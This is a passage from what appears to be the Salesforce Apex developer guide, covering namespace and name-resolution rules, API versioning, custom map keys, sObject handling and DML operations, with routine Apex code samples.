organization contains Apex classes that you’ve defined with the same name as a built-in class, the Apex runtime defaults to your custom
class and calls the methods in your class. Let’s take a look at the following example.
Create this custom Apex class:
public class Database {
public static String query() {
return 'wherefore art thou namespace?';

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}
}

Execute this statement in the Developer Console:

sObject[] acct = Database.query('SELECT Name FROM Account LIMIT 1');
System.debug(acct[0].get('Name'));

When the Database.query statement executes, Apex looks up the query method on the custom Database class first. However,
the query method in this class doesn’t take any parameters and no match is found, hence you get an error. The custom Database
class overrides the built-in Database class in the System namespace. To solve this problem, add the System namespace prefix
to the class name to explicitly instruct the Apex runtime to call the query method on the built-in Database class in the System
namespace:
sObject[] acct = System.Database.query('SELECT Name FROM Account LIMIT 1');
System.debug(acct[0].get('Name'));

SEE ALSO:
Using the Schema Namespace

Using the Schema Namespace

The Schema namespace provides classes and methods for working with schema metadata information. We implicitly import Schema.*,
but you must fully qualify your uses of Schema namespace elements when they have naming conflicts with items in your unmanaged
code. If your org contains an Apex class that has the same name as an sObject, add the Schema namespace prefix to the sObject name
in your code.
You can omit the namespace when creating an instance of a schema class or when calling a schema method. For example, because the
DescribeSObjectResult and FieldSet classes are in the Schema namespace, these code segments are equivalent.

Schema.DescribeSObjectResult d = Account.sObjectType.getDescribe();
Map<String, Schema.FieldSet> FSMap = d.fieldSets.getMap();

And:
DescribeSObjectResult d = Account.sObjectType.getDescribe();
Map<String, FieldSet> FSMap = d.fieldSets.getMap();

Using the Schema Namespace for Disambiguation

Use Schema.object_name to refer to an sObject that has the same name as a custom class. This disambiguation instructs the
Apex runtime to use the sObject.
public class Account {
public Integer myInteger;
}

// ...

// Create a standard Account object myAccountSObject

Schema.Account myAccountSObject = new Schema.Account();
// Create accountClassInstance, a custom class in your org
Account accountClassInstance = new Account();

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myAccountSObject.Name = 'Snazzy Account';

accountClassInstance.myInteger = 1;

SEE ALSO:
Using the System Namespace

Namespace, Class, and Variable Name Precedence

Because local variables, class names, and namespaces can all hypothetically use the same identifiers, the Apex parser evaluates expressions
in the form of name1.name2.[...].nameN as follows:
1. The parser first assumes that name1 is a local variable with name2 - nameN as field references.
2. If the first assumption does not hold true, the parser then assumes that name1 is a class name and name2 is a static variable name
with name3 - nameN as field references.
3. If the second assumption does not hold true, the parser then assumes that name1 is a namespace name, name2 is a class name,
name3 is a static variable name, and name4 - nameN are field references.
4. If the third assumption does not hold true, the parser reports an error.
If the expression ends with a set of parentheses (for example, name1.name2.[...].nameM.nameN()), the Apex parser evaluates
the expression as follows:
1. The parser first assumes that name1 is a local variable with name2 - nameM as field references, and nameN as a method
invocation.
2. If the first assumption does not hold true:
• If the expression contains only two identifiers (name1.name2()), the parser then assumes that name1 is a class name and
name2 is a method invocation.
• If the expression contains more than two identifiers, the parser then assumes that name1 is a class name, name2 is a static
variable name with name3 - nameM as field references, and nameN is a method invocation.

3. If the second assumption does not hold true, the parser then assumes that name1 is a namespace name, name2 is a class name,
name3 is a static variable name, name4 - nameM are field references, and nameN is a method invocation.
4. If the third assumption does not hold true, the parser reports an error.
However, with class variables Apex also uses dot notation to reference member variables. Those member variables might refer to other
class instances, or they might refer to an sObject which has its own dot notation rules to refer to field names (possibly navigating foreign
keys).
Once you enter an sObject field in the expression, the remainder of the expression stays within the sObject domain, that is, sObject fields
cannot refer back to Apex expressions.
For instance, if you have the following class:
public class c {
c1 c1 = new c1();
class c1 { c2 c2; }
class c2 { Account a; }
}

Then the following expressions are all legal:

c.c1.c2.a.name
c.c1.c2.a.owner.lastName.toLowerCase()

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c.c1.c2.a.tasks
c.c1.c2.a.contacts.size()

Type Resolution and System Namespace for Types

Because the type system must resolve user-defined types defined locally or in other classes, the Apex parser evaluates types as follows:
1. For a type reference TypeN, the parser first looks up that type as a scalar type.
2. If TypeN is not found, the parser looks up locally defined types.
3. If TypeN still is not found, the parser looks up a class of that name.
4. If TypeN still is not found, the parser looks up system types such as sObjects.
For the type T1.T2 this could mean an inner type T2 in a top-level class T1, or it could mean a top-level class T2 in the namespace
T1 (in that order of precedence).

Apex Code Versions

To aid backwards-compatibility, classes and triggers are stored with the version settings for a specific Salesforce API version.
If an Apex class or trigger references components, such as a custom object, in installed managed packages, the version settings for each
managed package referenced by the class are saved too. This ensures that as Apex, the API, and the components in managed packages
evolve in subsequent released versions, a class or trigger is still bound to versions with specific, known behavior.
Setting a version for an installed package determines the exposed interface and behavior of any Apex code in the installed package. This
allows you to continue to reference Apex that may be deprecated in the latest version of an installed package, if you installed a version
of the package before the code was deprecated.
Typically, you reference the latest Salesforce API version and each installed package version. If you save an Apex class or trigger without
specifying the Salesforce API version, the class or trigger is associated with the latest installed version by default. If you save an Apex
class or trigger that references a managed package without specifying a version of the managed package, the class or trigger is associated
with the latest installed version of the managed package by default.

Versioning of Apex Classes and Methods

When classes and methods are added to the Apex language, those classes and methods are available to all API versions your Apex code
is saved with, regardless of the API version (Salesforce release) they were introduced in. For example, if a method was added in API
version 33.0, you can use this method in a custom class saved with API version 33.0 or another class saved with API version 25.0.
There is one exception to this rule. The classes and methods of the ConnectApi namespace are supported only in the API versions
specified in the documentation. For example, if a class or method is introduced in API version 33.0, it is not available in earlier versions.
For more information, see ConnectApi Versioning and Equality Checking on page 435.

1. Setting the Salesforce API Version for Classes and Triggers

2. Setting Package Versions for Apex Classes and Triggers

Setting the Salesforce API Version for Classes and Triggers

To set the Salesforce API and Apex version for a class or trigger:
1. Edit either a class or trigger, and click Version Settings.
2. Select the Version of the Salesforce API. This version is also the version of Apex associated with the class or trigger.

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3. Click Save.
If you pass an object as a parameter in a method call from one Apex class, C1, to another class, C2, and C2 has different fields exposed
due to the Salesforce API version setting, the fields in the objects are controlled by the version settings of C2.
In this example, the Categories field is set to null after calling the insertIdea method in class C2 from a method in the test
class C1, because the Categories field isn’t available in version 13.0 of the API.
The first class is saved using Salesforce API version 13.0:
// This class is saved using Salesforce API version 13.0
// Version 13.0 does not include the Idea.categories field
global class C2
{
global Idea insertIdea(Idea a) {
insert a; // category field set to null on insert

// retrieve the new idea

Idea insertedIdea = [SELECT title FROM Idea WHERE Id =:a.Id];

return insertedIdea;
}
}

The following class is saved using Salesforce API version 16.0:

@IsTest
// This class is bound to API version 16.0 by Version Settings
private class C1
{
static testMethod void testC2Method() {
Idea i = new Idea();
i.CommunityId = '09aD000000004YCIAY';
i.Title = 'Testing Version Settings';
i.Body = 'Categories field is included in API version 16.0';
i.Categories = 'test';

C2 c2 = new C2();
Idea returnedIdea = c2.insertIdea(i);
// retrieve the new idea
Idea ideaMoreFields = [SELECT title, categories FROM Idea
WHERE Id = :returnedIdea.Id];

// assert that the categories field from the object created

// in this class is not null
System.assert(i.Categories != null);
// assert that the categories field created in C2 is null
System.assert(ideaMoreFields.Categories == null);
}
}

Setting Package Versions for Apex Classes and Triggers

To configure the package version settings for a class or trigger:
1. Edit either a class or trigger, and click Version Settings.

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2. Select a Version for each managed package referenced by the class or trigger. This version of the managed package will continue
to be used by the class or trigger if later versions of the managed package are installed, unless you manually update the version
setting. To add an installed managed package to the settings list, select a package from the list of available packages. The list is only
displayed if you have an installed managed package that is not already associated with the class or trigger.
3. Click Save.
Note the following when working with package version settings:
• If you save an Apex class or trigger that references a managed package without specifying a version of the managed package, the
Apex class or trigger is associated with the latest installed version of the managed package by default.
• You cannot Remove a class or trigger's version setting for a managed package if the package is referenced in the class or trigger.
Use Show Dependencies to find where a managed package is referenced by a class or trigger.

Lists of Custom Types and Sorting

Lists can hold objects of your user-defined types (your Apex classes). Lists of user-defined types can be sorted.
To sort such a list, your Apex class can implement the Comparator interface and pass it as a parameter to the List.sort method.
Alternatively, your Apex class can implement the Comparable interface.
The sort criteria and sort order depend on the implementation that you provide for the Comparable.compareTo or the
Comparator.compare method.
To perform locale-sensitive comparisons and sorting, use the Collator class. Because locale-sensitive sorting can produce different
results depending on the user running the code, avoid using it in triggers or in code that expects a particular sort order.

SEE ALSO:
Apex Reference Guide: Collator Class
Apex Reference Guide: Comparable Interface
Apex Reference Guide: Comparator Interface

Using Custom Types in Map Keys and Sets

You can add instances of your own Apex classes to maps and sets.
For maps, instances of your Apex classes can be added either as keys or values. If you add them as keys, there are some special rules that
your class must implement for the map to function correctly; that is, for the key to fetch the right value. Similarly, if set elements are
instances of your custom class, your class must follow those same rules.

Warning: If the object in your map keys or set elements changes after being added to the collection, it won’t be found anymore
because of changed field values.
When using a custom type (your Apex class) for the map key or set elements, provide equals and hashCode methods in your
class. Apex uses these two methods to determine equality and uniqueness of keys for your objects.

Adding equals and hashCode Methods to Your Class

To ensure that map keys of your custom type are compared correctly and their uniqueness can be determined consistently, provide an
implementation of the following two methods in your class:

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• The equals method with this signature:

public Boolean equals(Object obj) {
// Your implementation
}

• The hashCode method with this signature:

public Integer hashCode() {
// Your implementation
}

Sample
This sample shows how to implement the equals and hashCode methods. The class that provides those methods is listed first. It
also contains a constructor that takes two Integers. The second example is a code snippet that creates three objects of the class, two of
which have the same values. Next, map entries are added using the pair objects as keys. The sample verifies that the map has only two
entries since the entry that was added last has the same key as the first entry, and hence, overwrote it. The sample then uses the ==
operator, which works as expected because the class implements equals. Also, some additional map operations are performed, like
checking whether the map contains certain keys, and writing all keys and values to the debug log. Finally, the sample creates a set and
adds the same objects to it. It verifies that the set size is two, since only two objects out of the three are unique.
public class PairNumbers {
Integer x,y;

public PairNumbers(Integer a, Integer b) {

x=a;
y=b;
}

public Boolean equals(Object obj) {

if (obj instanceof PairNumbers) {
PairNumbers p = (PairNumbers)obj;
return ((x==p.x) && (y==p.y));
}
return false;
}

public Integer hashCode() {

return (31 * x) ^ y;
}
}

This code snippet makes use of the PairNumbers class.

Map<PairNumbers, String> m = new Map<PairNumbers, String>();
PairNumbers p1 = new PairNumbers(1,2);
PairNumbers p2 = new PairNumbers(3,4);
// Duplicate key
PairNumbers p3 = new PairNumbers(1,2);
m.put(p1, 'first');
m.put(p2, 'second');
m.put(p3, 'third');

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// Map size is 2 because the entry with

// the duplicate key overwrote the first entry.
System.assertEquals(2, m.size());

// Use the == operator

if (p1 == p3) {
System.debug('p1 and p3 are equal.');
}

// Perform some other operations

System.assertEquals(true, m.containsKey(p1));
System.assertEquals(true, m.containsKey(p2));
System.assertEquals(false, m.containsKey(new PairNumbers(5,6)));

for(PairNumbers pn : m.keySet()) {
System.debug('Key: ' + pn);
}

List<String> mValues = m.values();

System.debug('m.values: ' + mValues);

// Create a set
Set<PairNumbers> s1 = new Set<PairNumbers>();
s1.add(p1);
s1.add(p2);
s1.add(p3);

// Verify that we have only two elements

// since the p3 is equal to p1.
System.assertEquals(2, s1.size());

Working with Data in Apex

You can add and interact with data in the Lightning Platform persistence layer. The sObject data type is the main data type that holds
data objects. You’ll use Data Manipulation Language (DML) to work with data, and use query languages to retrieve data, such as the (),
among other things.

Working with sObjects

In this developer guide, the term sObject refers to any object that can be stored in the Lightning platform database.
Data Manipulation Language
Apex enables you to insert, update, delete or restore data in the database. DML operations allow you to modify records one at a time
or in batches.
SOQL and SOSL Queries
You can evaluate Salesforce Object Query Language (SOQL) or Salesforce Object Search Language (SOSL) statements on-the-fly in
Apex by surrounding the statement in square brackets.
SOQL For Loops
SOQL for loops iterate over all of the sObject records returned by a SOQL query.
sObject Collections
You can manage sObjects in lists, sets, and maps.

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Dynamic Apex
Apex Security and Sharing
When you use Apex, the security of your code is critical. You'll need to add user permissions for Apex classes and enforce sharing
rules. Read on to learn about Apex managed sharing and get some security tips.
Custom Settings
Custom settings are similar to custom objects. Application developers can create custom sets of data and associate custom data for
an organization, profile, or specific user. All custom settings data is exposed in the application cache, which enables efficient access
without the cost of repeated queries to the database. Formula fields, validation rules, flows, Apex, and SOAP API can then use this
data.

Working with sObjects

In this developer guide, the term sObject refers to any object that can be stored in the Lightning platform database.

sObject Types
An sObject variable represents a row of data and can only be declared in Apex using SOAP API name of the object.
Accessing SObject Fields
Validating sObjects and Fields

sObject Types
An sObject variable represents a row of data and can only be declared in Apex using SOAP API name of the object.
For example:
Account a = new Account();
MyCustomObject__c co = new MyCustomObject__c();

Similar to SOAP API, Apex allows the use of the generic sObject abstract type to represent any object. The sObject data type can be used
in code that processes different types of sObjects.
The new operator still requires a concrete sObject type, so all instances are specific sObjects. For example:
sObject s = new Account();

You can also use casting between the generic sObject type and the specific sObject type. For example:
// Cast the generic variable s from the example above
// into a specific account and account variable a
Account a = (Account)s;
// The following generates a runtime error
Contact c = (Contact)s;

Because sObjects work like objects, you can also have the following:
Object obj = s;
// and
a = (Account)obj;

DML operations work on variables declared as the generic sObject data type as well as with regular sObjects.

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sObject variables are initialized to null, but can be assigned a valid object reference with the new operator. For example:
Account a = new Account();

Developers can also specify initial field values with comma-separated name = value pairs when instantiating a new sObject. For
example:
Account a = new Account(name = 'Acme', billingcity = 'San Francisco');

For information on accessing existing sObjects from the Lightning Platform database, see “SOQL and SOSL Queries” in the SOQL and
SOSL Reference.

Note: The Lightning Platform assigns ID values automatically when an object record is initially inserted to the database for the
first time. For more information see Lists on page 28.

Custom Labels
Custom labels aren’t standard sObjects. You can’t create a new instance of a custom label. You can only access the value of a custom
label using system.label.label_name. For example:

String errorMsg = System.Label.generic_error;

For more information on custom labels, see “Custom Labels” in Salesforce Help.

Accessing SObject Fields

As in Java, SObject fields can be accessed or changed with simple dot notation. For example:
Account a = new Account();
a.Name = 'Acme'; // Access the account name field and assign it 'Acme'

System-generated fields, such as Created By or Last Modified Date, cannot be modified. If you try, the Apex runtime
engine generates an error. Additionally, formula field values and values for other fields that are read-only for the context user cannot be
changed.
If you use the generic SObject type instead of a specific object, such as Account, you can retrieve only the Id field using dot notation.
You can set the Id field for Apex code saved using Salesforce API version 27.0 and later). Alternatively, you can use the generic SObject
put and get methods. See SObject Class.
This example shows how you can access the Id field and operations that aren’t allowed on generic SObjects.
Account a = new Account(Name = 'Acme', BillingCity = 'San Francisco');
insert a;
sObject s = [SELECT Id, Name FROM Account WHERE Name = 'Acme' LIMIT 1];
// This is allowed
ID id = s.Id;
// The following line results in an error when you try to save
String x = s.Name;
// This line results in an error when you try to save using API version 26.0 or earlier
s.Id = [SELECT Id FROM Account WHERE Name = 'Acme' LIMIT 1].Id;

Note: If your organization has enabled person accounts, you have two different kinds of accounts: business accounts and person
accounts. If your code creates a new account using name, a business account is created. If your code uses LastName, a person
account is created.

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If you want to perform operations on an SObject, it is recommended that you first convert it into a specific object. For example:
Account a = new Account(Name = 'Acme', BillingCity = 'San Francisco');
insert a;
sObject s = [SELECT Id, Name FROM Account WHERE Name = 'Acme' LIMIT 1];
ID id = s.ID;
Account convertedAccount = (Account)s;
convertedAccount.name = 'Acme2';
update convertedAccount;
Contact sal = new Contact(FirstName = 'Sal', Account = convertedAccount);

The following example shows how you can use SOSL over a set of records to determine their object types. Once you have converted
the generic SObject record into a Contact, Lead, or Account, you can modify its fields accordingly:
public class convertToCLA {
List<Contact> contacts = new List<Contact>();
List<Lead> leads = new List<Lead>();
List<Account> accounts = new List<Account>();

public void convertType(String phoneNumber) {

List<List<SObject>> results = [FIND :phoneNumber
IN Phone FIELDS
RETURNING Contact(Id, Phone, FirstName, LastName),
Lead(Id, Phone, FirstName, LastName),
Account(Id, Phone, Name)];
List<SObject> records = new List<SObject>();
records.addAll(results[0]); //add Contact results to our results super-set
records.addAll(results[1]); //add Lead results
records.addAll(results[2]); //add Account results

if (!records.isEmpty()) {
for (Integer i = 0; i < records.size(); i++) {
SObject record = records[i];
if (record.getSObjectType() == Contact.sObjectType) {
contacts.add((Contact) record);
} else if (record.getSObjectType() == Lead.sObjectType){
leads.add((Lead) record);
} else if (record.getSObjectType() == Account.sObjectType) {
accounts.add((Account) record);
}
}
}
}
}

Using SObject Fields

SObject fields can be initially set or not set (unset); unset fields are not the same as null or blank fields. When you perform a DML operation
on an SObject, you can change a field that is set; you can’t change unset fields.

Note: To erase the current value of a field, set the field to null.

If an Apex method takes an SObject parameter, you can use the System.isSet() method to identify the set fields. If you want to unset any
fields to retain their values, first create an SObject instance. Then apply only the fields you want to be part of the DML operation.

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This example code shows how SObject fields are identified as set or unset.
Contact nullFirst = new Contact(LastName='Codey', FirstName=null);
System.assertEquals(true, nullFirst.isSet('FirstName'), 'FirstName is set to a literal
value, so it counts as set');
Contact unsetFirst = new Contact(LastName='Astro');
System.assertEquals(false, unsetFirst.isSet('FirstName'), ‘FirstName is not set’);

An expression with SObject fields of type Boolean evaluates to true only if the SObject field is true. If the field is false or null, the expression
evaluates to false. This example code shows an expression that checks if the IsActive field of a Campaign object is null. Because
this expression always evaluates to false, the code in the if statement is never executed.
Campaign cObj= new Campaign();
...
if (cObj.IsActive == null) {
... // IsActive is evaluated to false and this code block is not executed.
}

Validating sObjects and Fields

When Apex code is parsed and validated, all sObject and field references are validated against actual object and field names, and a
parse-time exception is thrown when an invalid name is used.
In addition, the Apex parser tracks the custom objects and fields that are used, both in the code's syntax as well as in embedded SOQL
and SOSL statements. The platform prevents users from making the following types of modifications when those changes cause Apex
code to become invalid:
• Changing a field or object name
• Converting from one data type to another
• Deleting a field or object
• Making certain organization-wide changes, such as record sharing, field history tracking, or record types

Data Manipulation Language

Apex enables you to insert, update, delete or restore data in the database. DML operations allow you to modify records one at a time or
in batches.

How DML Works

Adding and Retrieving Data With DML
Apex is tightly integrated with the Lightning Platform persistence layer. Records in the database can be inserted and manipulated
through Apex directly using simple statements. The language in Apex that allows you to add and manage records in the database
is the Data Manipulation Language (DML). In contrast to the SOQL language, which is used for read operations (querying records),
DML is used for write operations.
DML Statements vs. Database Class Methods
Apex offers two ways to perform DML operations: using DML statements or Database class methods. This provides flexibility in how
you perform data operations. DML statements are more straightforward to use and result in exceptions that you can handle in your
code.
DML Operations As Atomic Transactions
DML Operations
Using DML, you can insert new records and commit them to the database. You can also update the field values of existing records.

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Exception Handling
More About DML
Here are some things you may want to know about using Data Manipulation Language.
Locking Records
When an sObject record is locked, no other client or user is allowed to make updates either through code or the Salesforce user
interface. The client locking the records can perform logic on the records and make updates with the guarantee that the locked
records won’t be changed by another client during the lock period.

How DML Works

Single vs. Bulk DML Operations

You can perform DML operations either on a single sObject, or in bulk on a list of sObjects. Performing bulk DML operations is the
recommended way because it helps avoid hitting governor limits, such as the DML limit of 150 statements per Apex transaction. This
limit is in place to ensure fair access to shared resources in the Lightning Platform. Performing a DML operation on a list of sObjects
counts as one DML statement, not as one statement for each sObject.
This example performs DML calls on single sObjects, which isn’t efficient.
The for loop iterates over contacts. For each contact, if the department field matches a certain value, it sets a new value for the
Description field. If the list contains more than items, the 151st update returns an exception that can't be caught.
List<Contact> conList = [Select Department , Description from Contact];
for(Contact badCon : conList) {
if (badCon.Department == 'Finance') {
badCon.Description = 'New description';
}
// Not a good practice since governor limits might be hit.
update badCon;
}

This example is a modified version of the previous example that doesn't hit the governor limit. The DML operation is performed in bulk
by calling update on a list of contacts. This code counts as one DML statement, which is far below the limit of 150.
// List to hold the new contacts to update.
List<Contact> updatedList = new List<Contact>();
List<Contact> conList = [Select Department , Description from Contact];
for(Contact con : conList) {
if (con.Department == 'Finance') {
con.Description = 'New description';
// Add updated contact sObject to the list.
updatedList.add(con);
}
}

// Call update on the list of contacts.

// This results in one DML call for the entire list.
update updatedList;

Another DML governor limit is the total number of rows that can be processed by DML operations in a single transaction, which is 10,000.
All rows processed by all DML calls in the same transaction count incrementally toward this limit. For example, if you insert 100 contacts
and update 50 contacts in the same transaction, your total DML processed rows are 150. You still have 9,850 rows left (10,000 - 150).

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System Context and Sharing Rules

Most DML operations execute in system context, ignoring the current user's permissions, field-level security, organization-wide defaults,
position in the role hierarchy, and sharing rules. For more information, see Enforce Sharing Rules.

Note: If you execute DML operations within an anonymous block, they execute using the current user’s object and field-level
permissions.

Best Practices
With DML on SObjects, it’s best to construct new instances and only update the fields you wish to modify without querying other fields.
If you query fields other than the fields you wish to update, you may revert queried field values that could have changed between the
query and the DML.

Adding and Retrieving Data With DML

Apex is tightly integrated with the Lightning Platform persistence layer. Records in the database can be inserted and manipulated
through Apex directly using simple statements. The language in Apex that allows you to add and manage records in the database is the
Data Manipulation Language (DML). In contrast to the SOQL language, which is used for read operations (querying records), DML is used
for write operations.
Before inserting or manipulating records, record data is created in memory as sObjects. The sObject data type is a generic data type and
corresponds to the data type of the variable that will hold the record data. There are specific data types, subtyped from the sObject data
type, which correspond to data types of standard object records, such as Account or Contact, and custom objects, such as
Invoice_Statement__c. Typically, you will work with these specific sObject data types. But sometimes, when you don’t know the type
of the sObject in advance, you can work with the generic sObject data type. This is an example of how you can create a new specific
Account sObject and assign it to a variable.
Account a = new Account(Name='Account Example');

In the previous example, the account referenced by the variable a exists in memory with the required Name field. However, it is not
persisted yet to the Lightning Platform persistence layer. You need to call DML statements to persist sObjects to the database. Here is
an example of creating and persisting this account using the insert statement.
Account a = new Account(Name='Account Example');
insert a;

Also, you can use DML to modify records that have already been inserted. Among the operations you can perform are record updates,
deletions, restoring records from the Recycle Bin, merging records, or converting leads. After querying for records, you get sObject
instances that you can modify and then persist the changes of. This is an example of querying for an existing record that has been
previously persisted, updating a couple of fields on the sObject representation of this record in memory, and then persisting this change
to the database.
// Query existing account.
Account a = [SELECT Name,Industry
FROM Account
WHERE Name='Account Example' LIMIT 1];

// Write the old values the debug log before updating them.
System.debug('Account Name before update: ' + a.Name); // Name is Account Example
System.debug('Account Industry before update: ' + a.Industry);// Industry is not set

// Modify the two fields on the sObject.

a.Name = 'Account of the Day';

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a.Industry = 'Technology';

// Persist the changes.

update a;

// Get a new copy of the account from the database with the two fields.
Account a = [SELECT Name,Industry
FROM Account
WHERE Name='Account of the Day' LIMIT 1];

// Verify that updated field values were persisted.

System.assertEquals('Account of the Day', a.Name);
System.assertEquals('Technology', a.Industry);

DML Statements vs. Database Class Methods

Apex offers two ways to perform DML operations: using DML statements or Database class methods. This provides flexibility in how you
perform data operations. DML statements are more straightforward to use and result in exceptions that you can handle in your code.
This is an example of a DML statement to insert a new record.
// Create the list of sObjects to insert
List<Account> acctList = new List<Account>();
acctList.add(new Account(Name='Acme1'));
acctList.add(new Account(Name='Acme2'));

// DML statement
insert acctList;

This is an equivalent example to the previous one but it uses a method of the Database class instead of the DML verb.
// Create the list of sObjects to insert
List<Account> acctList = new List<Account>();
acctList.add(new Account(Name='Acme1'));
acctList.add(new Account(Name='Acme2'));

// DML statement
Database.SaveResult[] srList = Database.insert(acctList, false);

// Iterate through each returned result

for (Database.SaveResult sr : srList) {
if (sr.isSuccess()) {
// Operation was successful, so get the ID of the record that was processed
System.debug('Successfully inserted account. Account ID: ' + sr.getId());
}
else {
// Operation failed, so get all errors
for(Database.Error err : sr.getErrors()) {
System.debug('The following error has occurred.');
System.debug(err.getStatusCode() + ': ' + err.getMessage());
System.debug('Account fields that affected this error: ' + err.getFields());
}
}
}

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One difference between the two options is that by using the Database class method, you can specify whether or not to allow for partial
record processing if errors are encountered. You can do so by passing an additional second Boolean parameter. If you specify false
for this parameter and if a record fails, the remainder of DML operations can still succeed. Also, instead of exceptions, a result object
array (or one result object if only one sObject was passed in) is returned containing the status of each operation and any errors encountered.
By default, this optional parameter is true, which means that if at least one sObject can’t be processed, all remaining sObjects won’t
and an exception will be thrown for the record that causes a failure.
The following helps you decide when you want to use DML statements or Database class methods.
• Use DML statements if you want any error that occurs during bulk DML processing to be thrown as an Apex exception that immediately
interrupts control flow (by using try. . .catch blocks). This behavior is similar to the way exceptions are handled in most
database procedural languages.
• Use Database class methods if you want to allow partial success of a bulk DML operation—if a record fails, the remainder of the DML
operation can still succeed. Your application can then inspect the rejected records and possibly retry the operation. When using this
form, you can write code that never throws DML exception errors. Instead, your code can use the appropriate results array to judge
success or failure. Note that Database methods also include a syntax that supports thrown exceptions, similar to DML statements.

Note: Most operations overlap between the two, except for a few.
• The convertLead operation is only available as a Database class method, not as a DML statement.
• The Database class also provides methods not available as DML statements, such as methods transaction control and rollback,
emptying the Recycle Bin, and methods related to SOQL queries.

SEE ALSO:
Apex Reference Guide: Database Class Methods

DML Operations As Atomic Transactions

DML operations execute within a transaction. All DML operations in a transaction either complete successfully, or if an error occurs in
one operation, the entire transaction is rolled back and no data is committed to the database. The boundary of a transaction can be a
trigger, a class method, an anonymous block of code, an Apex page, or a custom Web service method.
All operations that occur inside the transaction boundary represent a single unit of operations. This also applies to calls that are made
from the transaction boundary to external code, such as classes or triggers that get fired as a result of the code running in the transaction
boundary. For example, consider the following chain of operations: a custom Apex Web service method calls a method in a class that
performs some DML operations. In this case, all changes are committed to the database only after all operations in the transaction finish
executing and don’t cause any errors. If an error occurs in any of the intermediate steps, all database changes are rolled back and the
transaction isn’t committed.

DML Operations
Using DML, you can insert new records and commit them to the database. You can also update the field values of existing records.

Inserting and Updating Records

Using DML, you can insert new records and commit them to the database. Similarly, you can update the field values of existing
records.
Upserting Records

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Merging Records
When you have duplicate lead, contact, case, or account records in the database, cleaning up your data and consolidating the records
is a good idea. You can merge up to three records of the same sObject type. The merge operation merges the duplicate records
into the main record, deletes the duplicate records, and reparents any related records.
Deleting Records
Restoring Deleted Records
Converting Leads

Inserting and Updating Records

Using DML, you can insert new records and commit them to the database. Similarly, you can update the field values of existing records.

Important: Where possible, we changed noninclusive terms to align with our company value of Equality. We maintained certain
terms to avoid any effect on customer implementations.
This example inserts three account records and updates an existing account record. First, three Account sObjects are created and added
to a list. An insert statement bulk inserts the list of accounts as an argument. Then, the second account record is updated, the billing city
is updated, and the update statement is called to persist the change in the database.
Account[] accts = new List<Account>();
for(Integer i=0;i<3;i++) {
Account a = new Account(Name='Acme' + i,
BillingCity='San Francisco');
accts.add(a);
}
Account accountToUpdate;
try {
insert accts;

// Update account Acme2.

accountToUpdate =
[SELECT BillingCity FROM Account
WHERE Name='Acme2' AND BillingCity='San Francisco'
LIMIT 1];
// Update the billing city.
accountToUpdate.BillingCity = 'New York';
// Make the update call.
update accountToUpdate;
} catch(DmlException e) {
System.debug('An unexpected error has occurred: ' + e.getMessage());
}

// Verify that the billing city was updated to New York.

Account afterUpdate =
[SELECT BillingCity FROM Account WHERE Id=:accountToUpdate.Id];
System.assertEquals('New York', afterUpdate.BillingCity);

Inserting Related Records

You can insert records related to existing records if a relationship has already been defined between the two objects, such as a lookup
or master-detail relationship. A record is associated with a related record through a foreign key ID. For example, when inserting a new
contact, you can specify the contact’s related account record by setting the value of the AccountId field.

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This example adds a contact to an account (the related record) by setting the AccountId field on the contact. Contact and Account
are linked through a lookup relationship.
try {
Account acct = new Account(Name='SFDC Account');
insert acct;

// Once the account is inserted, the sObject will be

// populated with an ID.
// Get this ID.
ID acctID = acct.ID;

// Add a contact to this account.

Contact con = new Contact(
FirstName='Joe',
LastName='Smith',
Phone='415.555.1212',
AccountId=acctID);
insert con;
} catch(DmlException e) {
System.debug('An unexpected error has occurred: ' + e.getMessage());
}

Updating Related Records

Fields on related records can't be updated with the same call to the DML operation and require a separate DML call. For example, if
inserting a new contact, you can specify the contact's related account record by setting the value of the AccountId field. However,
you can't change the account's name without updating the account itself with a separate DML call. Similarly, when updating a contact,
if you also want to update the contact’s related account, you must make two DML calls. The following example updates a contact and
its related account using two update statements.
try {
// Query for the contact, which has been associated with an account.
Contact queriedContact = [SELECT Account.Name
FROM Contact
WHERE FirstName = 'Joe' AND LastName='Smith'
LIMIT 1];

// Update the contact's phone number

queriedContact.Phone = '415.555.1213';

// Update the related account industry

queriedContact.Account.Industry = 'Technology';

// Make two separate calls

// 1. This call is to update the contact's phone.
update queriedContact;
// 2. This call is to update the related account's Industry field.
update queriedContact.Account;
} catch(Exception e) {
System.debug('An unexpected error has occurred: ' + e.getMessage());
}

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Relating Records by Using an External ID

Add related records by using a custom external ID field on the parent record. Associating records through the external ID field is an
alternative to using the record ID. You can add a related record to another record only if a relationship (such as master-detail or
lookup) has been defined for the objects involved.
Creating Parent and Child Records in a Single Statement Using Foreign Keys

Relating Records by Using an External ID

Add related records by using a custom external ID field on the parent record. Associating records through the external ID field is an
alternative to using the record ID. You can add a related record to another record only if a relationship (such as master-detail or lookup)
has been defined for the objects involved.

Important: Where possible, we changed noninclusive terms to align with our company value of Equality. We maintained certain
terms to avoid any effect on customer implementations.
This example relates a new opportunity to an existing account. The Account sObject has a custom field marked as External ID. An
opportunity record is associated to the account record through the custom External ID field. The example assumes that:
• The Account sObject has an external ID field of type text and named MyExtID
• An account record exists where MyExtID__c = ‘SAP111111’
Before the new opportunity is inserted, the account record is added to this opportunity as an sObject through the
Opportunity.Account relationship field.

Opportunity newOpportunity = new Opportunity(

Name='OpportunityWithAccountInsert',
StageName='Prospecting',
CloseDate=Date.today().addDays(7));

// Create the parent record reference.

// An account with external ID = 'SAP111111' already exists.
// This sObject is used only for foreign key reference
// and doesn't contain any other fields.
Account accountReference = new Account(
MyExtID__c='SAP111111');

// Add the account sObject to the opportunity.

newOpportunity.Account = accountReference;

// Create the opportunity.

Database.SaveResult results = Database.insert(newOpportunity);

The previous example performs an insert operation, but you can also relate sObjects through external ID fields when performing updates
or upserts. If the parent record doesn’t exist, you can create it with a separate DML statement or by using the same DML statement as
shown in Creating Parent and Child Records in a Single Statement Using Foreign Keys.

Creating Parent and Child Records in a Single Statement Using Foreign Keys
You can use external ID fields as foreign keys to create parent and child records of different sObject types in a single step instead of
creating the parent record first, querying its ID, and then creating the child record. To do this:
• Create the child sObject and populate its required fields, and optionally other fields.
• Create the parent reference sObject used only for setting the parent foreign key reference on the child sObject. This sObject has only
the external ID field defined and no other fields set.

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• Set the foreign key field of the child sObject to the parent reference sObject you just created.
• Create another parent sObject to be passed to the insert statement. This sObject must have the required fields (and optionally
other fields) set in addition to the external ID field.
• Call insert by passing it an array of sObjects to create. The parent sObject must precede the child sObject in the array, that is,
the array index of the parent must be lower than the child’s index.
You can create related records that are up to 10 levels deep. Also, the related records created in a single call must have different sObject
